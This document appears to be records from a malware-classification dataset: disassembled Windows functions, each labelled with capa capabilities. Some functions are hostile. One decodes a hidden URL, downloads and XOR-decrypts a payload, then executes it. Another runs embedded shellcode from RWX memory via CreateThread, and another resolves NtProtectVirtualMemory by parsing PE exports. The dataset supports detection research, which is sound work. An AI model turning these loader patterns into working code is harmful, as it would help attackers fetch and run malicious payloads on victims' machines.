joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a5c0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000a605
xor al, al
jmp 0x14000a652
cmp word [rbx], 0
je 0x14000a61d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000a610
cmp word [rsp + 0x30], 0
je 0x14000a64b
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000a673
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000a630
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000bd00
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.14000ddf0
int3
Function at 0x14000ae00
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x2030
call fcn.14001c630
sub rsp, rax
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x2020], rax
mov r11d, dword [0x14002dd20]
lea rsi, [0x14002fd60]
mov rdi, rcx
test r11d, r11d
jne 0x14000ae79
mov r8d, 0x1000
lea rdx, str.HOME
lea rcx, [rsp + 0x20]
call fcn.14000a680
test al, al
je 0x14000af5f
lea rcx, [rsp + 0x20]
call fcn.14001171c
movsxd r11, dword [0x14002dd20]
mov qword [rsi + r11*8], rax
inc r11d
mov dword [0x14002dd20], r11d
xor r9d, r9d
test r11d, r11d
jle 0x14000aeb4
mov r10, rsi
mov r8, qword [r10]
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14000aea4
add rax, 2
test ecx, ecx
jne 0x14000ae90
test edx, edx
je 0x14000aed7
inc r9d
add r10, 8
cmp r9d, r11d
jl 0x14000ae84
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000aec0
cmp rax, 2
jne 0x14000aedb
cmp word [rdi + 2], 0x3a
jne 0x14000aedb
mov al, 1
jmp 0x14000af3e
xor edx, edx
mov qword [rsp + 0x2048], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
setne bl
test eax, eax
jne 0x14000af08
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x14000af08
mov bl, 1
jmp 0x14000af0c
test bl, bl
je 0x14000af33
cmp dword [0x14002dd20], 0x400
jge 0x14000af33
mov rcx, rdi
call fcn.14001171c
movsxd rdx, dword [0x14002dd20]
mov qword [rsi + rdx*8], rax
inc edx
mov dword [0x14002dd20], edx
movzx eax, bl
mov rbx, qword [rsp + 0x2048]
mov rcx, qword [rsp + 0x2020]
xor rcx, rsp
call fcn.14000bd00
mov rsi, qword [rsp + 0x2050]
add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000aca0
int3
Function at 0x14000b080
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub rsp, 0x68
mov rcx, qword [0x14002dd28]
test rcx, rcx
je 0x14000b0bb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x14000b0ae
mov rcx, qword [0x14002dd28]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov rcx, qword [0x14002dd28]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp byte [0x140031d78], 0
je 0x14000b1ae
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x78], rbp
lea rbp, [0x140025918]
mov qword [rsp + 0x80], rsi
lea rsi, [0x14002dd60]
mov qword [rsp + 0x88], rdi
xor edi, edi
mov qword [rsp + 0x60], r14
mov r14d, 0x414
mov word [rsp + 0x40], r14w
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b18f
test al, 0x10
je 0x14000b18f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000b135
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x14000dde4
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14000dc77
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x14000dc77
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000dc77
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000dc77
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000dc77
cmp dword [rcx + 0x84], 0xe
jbe 0x14000dc77
cmp dword [rcx + 0xf8], 0
je 0x14000dc77
mov ecx, ebx
call fcn.14000dd18
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14000db08
cmp dword [rbp + 0x20], 0
je 0x14000dcc4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000dccc
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000dc10
Function at 0x140001310
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov eax, 0x5a4d
mov rdi, rcx
cmp word [rcx], ax
jne 0x140001380
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140001380
mov esi, dword [rax + rcx + 0x88]
xor ebx, ebx
add rsi, rcx
mov ebp, dword [rsi + 0x18]
test ebp, ebp
je 0x140001380
mov r15d, dword [rsi + 0x20]
nop dword [rax]
lea rax, [r15 + rbx*4]
mov ecx, dword [rax + rdi]
lea rdx, str.NtProtectVirtualMemory
add rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14000139b
inc ebx
cmp ebx, ebp
jb 0x140001360
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
mov ecx, dword [rsi + 0x24]
add rcx, rdi
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rsi + 0x1c]
add rcx, rdi
mov eax, dword [rcx + rdx*4]
add rax, rdi
jmp 0x140001382
Function at 0x1400017f0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.140001070
cmp eax, 1
jne 0x14000181b
call fcn.1400013c0
mov ecx, 0x439f0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movzx ecx, word [0x140003850]
mov rbx, 0xffffffffffffffff
movups xmm0, xmmword [0x140003830]
mov word [rsp + 0x68], cx
mov rdi, rax
movzx ecx, byte [0x140003852]
lea rax, [rsp + 0x48]
movups xmm1, xmmword [0x140003840]
mov byte [rsp + 0x6a], cl
xor r8d, r8d
mov rcx, rbx
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm1
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], r8b
jne 0x140001870
test rcx, rcx
je 0x1400018b3
lea rdx, [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
xor byte [rdx], 0x77
lea rdx, [rdx + 1]
inc r8d
lea rcx, [rsp + 0x48]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x1400018a2
movsxd rcx, r8d
cmp rcx, rax
jb 0x140001890
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], 0
lea rdx, [rsp + 0x48]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x30]
mov r8d, 0x439f0
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [0x140003870]
movsd xmm0, qword [str.senhaoanqvan]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x140003874]
mov byte [rsp + 0x44], al
lea rax, [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001936
movsxd r10, ebx
xor eax, eax
mov rdx, rdi
mov r9d, 0x439f0
nop dword [rax]
xor ecx, ecx
lea rdx, [rdx + 1]
cmp rax, r10
cmovl rcx, rax
movzx eax, byte [rsp + rcx + 0x38]
xor byte [rdx - 1], al
lea rax, [rcx + 1]
sub r9, 1
jne 0x140001950
xor r8d, r8d
mov edx, 0x439f0
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov edx, 8
mov r8d, 0x439f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x439f0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400019e0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rdi
ret

Function at 0x1400022b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400022fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400022fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400022fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400022fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400022fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002300
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x570
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x560], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlMoveMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x30]
mov r8d, 0x52e
lea rdx, [0x1400022e0]
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0x52e
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call rbx
mov r8d, 0x52e
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rbx, rax
call rdi
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call rbp
mov edx, 0xffffffff
mov rcx, rax
mov rbx, rax
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x560]
xor rcx, rsp
call fcn.140001150
lea r11, [rsp + 0x570]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001a18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a64
xor al, al
add rsp, 0x28
ret
Function at 0x140f3b318
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140f3b49f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f3b349
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3b32f
add dl, dl
jne 0x140f3b356
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3b3b6
xor eax, eax
add dl, dl
jne 0x140f3b365
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f3b46d
add dl, dl
jne 0x140f3b376
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3b383
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3b390
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3b39d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f3b3aa
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f3b33e
mov eax, 1
add dl, dl
jne 0x140f3b3c6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f3b3d3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3b3bb
sub eax, ebx
mov ebx, 1
jne 0x140f3b40c
mov ecx, 1
add dl, dl
jne 0x140f3b3ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f3b3fb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3b3e3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3b33e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f3b428
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f3b435
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f3b41d
cmp eax, 0x7d00
jae 0x140f3b45b
cmp eax, 0x500
jb 0x140f3b456
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3b33e
cmp eax, 0x7f
ja 0x140f3b45e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f3b33e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f3b492
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f3b33e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000d910
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140016c60], rbx
je 0x14000d977
cmp rax, rbx
jne 0x14000d96a
mov ebx, 1
mov esi, ebx
jmp 0x14000d97c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000d94f
mov ebx, 1
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000d994
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000da00
mov eax, dword [0x140016c68]
test eax, eax
jne 0x14000d9f5
mov dword [0x140016c68], ebx
lea r15, [0x140010bb8]
lea rdi, [0x140010ba0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000d9e7
test eax, eax
jne 0x14000d9eb
cmp qword [rdi], r14
je 0x14000d9dc
mov rax, qword [rdi]
mov rcx, qword [0x140010b58]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000d9be
test eax, eax
je 0x14000d9fb
mov eax, 0xff
jmp 0x14000db56
mov dword [0x1400163e4], ebx
mov edi, 0x1f
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000da27
lea rdx, [0x140010b98]
lea rcx, [0x140010b60]
call sub.msvcrt.dll__initterm
mov dword [0x140016c68], 2
test esi, esi
jne 0x14000da35
mov rax, r14
xchg qword [0x140016c60], rax
cmp qword [0x140016c80], r14
je 0x14000da68
lea rcx, [0x140016c80]
call fcn.14000dfd0
test eax, eax
je 0x14000da68
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140016c80]
mov r9, qword [0x140010b58]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000da81
mov eax, 0xff
jmp 0x14000db56
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000db07
test ax, ax
je 0x14000da9c
test edx, edx
jne 0x14000db07
sub ax, bx
cmp ax, di
ja 0x14000dab2
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000da9c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400019fc
mov dword [0x1400163e0], eax
cmp dword [0x140016400], r14d
jne 0x14000daf0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400163e4], r14d
jne 0x14000db05
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400163e0]
jmp 0x14000db56
cmp ax, 0x22
jne 0x14000db1b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000da8a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140194000
add rsp, 0x28
jmp 0x14000d910
Function at 0x140006ec0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x14011bcc0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x14011c3f8]
mov edi, edx
mov esi, ecx
cmp byte [rbx + 0x4a5d], 0
jne 0x140006f28
cmp byte [rbx + 0x4a5e], 0
jne 0x140006f28
movsx r9d, word [rbx + 0x5b5a]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.14000c100
test sil, 1
je 0x140007059
jmp 0x140006fc1
movss xmm1, dword [rbx + 0x3898]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1400ab798]
xor eax, eax
mov edx, reloc.WS2_32.dll_recv
mulss xmm1, dword [0x1400ab78c]
addss xmm0, dword [rbx + 0xdfc]
addss xmm1, dword [rbx + 0xe00]
or dword [rbx + 0x47a8], 1
mov qword [rbx + 0x47c0], rax
movss dword [rbx + 0x47b8], xmm0
mov dword [rbx + 0x47ac], 1
movss dword [rbx + 0x47bc], xmm1
movss xmm0, dword [rbx + 0x3900]
mov rax, qword [0x14011c3f8]
mulss xmm0, dword [0x1400ab744]
or dword [rax + 0x47a8], 0x40
movss dword [rax + 0x4808], xmm0
movsx r9d, word [rbx + 0x5b5a]
call fcn.14000c100
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140007011
lea r11, [0x1400a9e40]
cmp r9b, 0x23
jne 0x140006ff4
cmp byte [r8], r9b
jne 0x140006ff4
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140006fe1
not ecx
call fcn.14000ada0
test rax, rax
je 0x140007059
cmp byte [rax + 0xae], 0
je 0x140007059
mov byte [rax + 0xb5], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd0], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x5b5a]
mov edx, reloc.WS2_32.dll_recv
movsx r9d, word [rbx + 0x5b5a]
call fcn.14000c100
or edi, 0x20c0347
lea rcx, [rsp + 0x20]
mov r8d, edi
xor edx, edx
call fcn.140004650
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1400a5090
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x14000acf0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x14011c3f8]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x14000ad53
mov qword [rsp], rbx
lea rbx, [0x1400a9e40]
nop dword [rax]
cmp r9b, 0x23
jne 0x14000ad33
cmp byte [r8], r9b
jne 0x14000ad33
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x14000ad20
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5bb8]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x14000ad87
mov r10, qword [r10 + 0x5bc0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x14000ad8e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x14000ad74
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x14000b490
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0xf0]
lea r8, [0x1400a9e40]
movsxd rcx, dword [rcx + 0xe8]
mov r11d, edx
shr r11d, 0x18
mov r9d, edx
shr r9d, 8
mov r10d, edx
shr r10d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r10b
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, r11
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x14011c3f8]
not ebx
cmp dword [rcx + 0x3f18], ebx
jne 0x14000b528
movsxd r8, edx
xor r9d, r9d
mov edx, 4
mov ecx, ebx
call fcn.140008d30
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x14000b5b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rax, qword [rcx + 0xf0]
lea r14, [0x1400a9e40]
movsxd rcx, dword [rcx + 0xe8]
mov rbp, rdx
mov rdi, rdx
mov rbx, rdx
mov r11, rdx
shr rbx, 0x30
mov r10, rdx
shr r11, 0x28
mov esi, dword [rax + rcx*4 - 4]
mov r9, rdx
not esi
movzx eax, bpl
movzx ecx, sil
mov r8, rdx
xor rcx, rax
shr esi, 8
shr rdx, 8
movzx eax, dl
shr r8, 0x10
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r8b
shr r9, 0x18
shr r10, 0x20
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r9b
shr rdi, 0x38
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r10b
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, r11b
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
movzx eax, bl
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rax
shr esi, 8
xor esi, dword [r14 + rcx*4]
movzx ecx, sil
xor rcx, rdi
shr esi, 8
xor esi, dword [r14 + rcx*4]
mov rcx, qword [0x14011c3f8]
not esi
cmp dword [rcx + 0x3f18], esi
jne 0x14000b6bb
xor r9d, r9d
mov r8, rbp
mov edx, listen
mov ecx, esi
call fcn.140008d30
mov rbx, qword [rsp + 0x50]
mov eax, esi
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret